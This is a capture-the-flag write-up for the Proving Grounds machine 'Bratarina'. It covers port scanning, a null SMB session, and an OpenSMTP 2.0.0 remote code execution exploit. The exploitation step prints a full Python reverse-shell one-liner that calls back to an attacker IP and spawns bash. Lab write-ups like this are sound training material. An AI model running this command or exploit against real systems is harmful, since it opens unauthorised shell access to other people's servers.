> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/warm-up/bratarina.md).

# Bratarina

Writeup for Bratarina from Offensive Security Proving Grounds (PG)

## Service Enumeration

`nmapAutomator.sh -H 192.168.163.71 -t full`

`nmapAutomator.sh -H 192.168.163.71 -t vulns`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad9a7NcvikwqyMqgYO%2F3cf7def76b2a43b2ba4161a0a9b1a9de.png?alt=media\&token=acea79fd-5f1d-4efc-8d8c-15105f7ac3bc)

### Samba

Null SMB sessions are allowed.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad9dbZcq8x3Ke2J82C%2F52b44efb6d7449f7b618e801ca88cf5d.png?alt=media\&token=f9ab0883-7160-4d23-b43b-2cf9494b831e)

There is a `backups` share.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad9huFIdAEhJBznjuA%2Fe8c07a66a4984db292075c3ccb201958.png?alt=media\&token=49c908af-355a-480d-8f56-12281c77e55f)

### SMTP

OpenSMTP 2.0.0 is used.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad9maOuC6MdVYvwVhs%2Fd897f209a0024f579216e21871dd0cd8.png?alt=media\&token=e7b612be-741b-474c-b833-f252b1a1a230)

## Exploitation

This is vulnerable to an RCE vulnerability: <https://www.exploit-db.com/exploits/47984>

`python3 47984.py 192.168.163.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.163\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'`

We receive a reverse shell:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad9uUBotPNp2Er43xH%2Fdcc7279e5ed746efb80b22e3606c63c4.png?alt=media\&token=640d01a3-d5ad-4eac-a442-9babb774fd0f)

Proof:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadD0vuLUaQ1OjDrE4v%2F9bb24000317d471eb04ad046f27db0f0.png?alt=media\&token=56b8bd0c-3220-48d3-936d-3e25c71e53c1)